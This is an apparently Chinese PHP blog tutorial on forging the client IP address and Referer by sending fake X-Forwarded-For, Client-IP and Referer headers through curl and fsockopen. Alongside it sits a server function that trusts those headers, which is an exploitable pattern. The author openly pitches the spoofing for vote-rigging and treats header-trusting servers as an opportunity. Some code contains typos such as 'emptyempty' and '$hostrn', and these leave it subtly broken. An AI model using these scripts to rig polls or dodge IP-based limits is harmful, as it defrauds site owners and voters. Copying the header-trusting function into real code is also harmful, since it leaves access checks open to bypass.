php 伪造ip地址来源实现程序

今天我们来做一个简单的假的ip地址访问网站,这个可以利用php curl或fsockopen来实现,有需要的同学可以参考一下方案很简单的,不过此方案不完美对第三方工具没有用.

HTTP-REFERER这个变量已经越来越不可靠了,完全就是可以伪造出来的东东.

1.php 请求 2.php 。

1.php代码:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://localhost/2.php");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    &#39;X-FORWARDED-FOR:8.8.8.8&#39;,
    &#39;CLIENT-IP:8.8.8.8&#39;
)); //构造IP
curl_setopt($ch, CURLOPT_REFERER, "http://www.google.com/ "); //构造来路
curl_setopt($ch, CURLOPT_HEADER, 1);
$out = curl_exec($ch);
curl_close($ch);
?>

2.php代码如下:

<?php
function getClientIp() {
    if (!emptyempty($_SERVER["HTTP_CLIENT_IP"])) $ip = $_SERVER["HTTP_CLIENT_IP"];
    else if (!emptyempty($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if (!emptyempty($_SERVER["REMOTE_ADDR"])) $ip = $_SERVER["REMOTE_ADDR"];
    else $ip = "err";
    return $ip;
}
echo "IP: " . getClientIp() . "";
echo "referer: " . $_SERVER["HTTP_REFERER"];
?>

伪造成功,这是不是给"刷票"的朋友提供了很好的换IP的方案,再看一下相对复杂的处理办法,PHP(前提是装了curl),PHP代码如下:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.phprm.com");
curl_setopt($ch, CURLOPT_REFERER, "http://www.phprm.com/");
curl_exec($ch);
curl_close($ch);
?>

PHP(不装curl用sock),代码如下:

<?php
$server = &#39;127.0.0.1&#39;;
$host = &#39;127.0.0.1&#39;;
$target = &#39;/xxx.asp&#39;;
$referer = &#39;http://127.0.0.1/&#39;; // Referer
$port = 80;
$fp = fsockopen($server, $port, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET $target HTTP/1.1\r\n";
    $out.= "Host: $hostrn";
    $out.= "Cookie: ASPSESSIONIDSQTBQSDA=DFCAPKLBBFICDAFMHNKIGKEG\r\n";
    $out.= "Referer: $referer\r\n";
    $out.= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

IP也可以伪造,代码如下:

<?php
$fp = fsockopen("192.168.0.128", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br>\n";
} else {
    $msg = "GET /003.php HTTP/1.0\r\n";
    $msg.= "Host: 192.168.0.128\r\n";
    $msg.= "Referer: http://www.phprm.com\r\n";
    $msg.= "Client-IP: 1.1.1.1\r\n";
    $msg.= "X-Forwarded-For: 1.1.1.1\r\n"; //主要是这里来构造IP
    $msg.= "Connection: Close\r\n\r\n";
    fputs($fp, $msg);
    while (!feof($fp)) {
        echo fgets($fp, 1024);
    }
    fclose($fp);
}
?>

记住用fsockopen时,命令最后一定要有\r\n\r\n,不然会超时.

其实这个可以用$_SERVER['REMOTE_ADDR']来得到正确IP,但是人们为了得到代理访问IP,而采用的得到IP的方法往往不是$_SERVER['REMOTE_ADDR'],这就为我们提供了机会.

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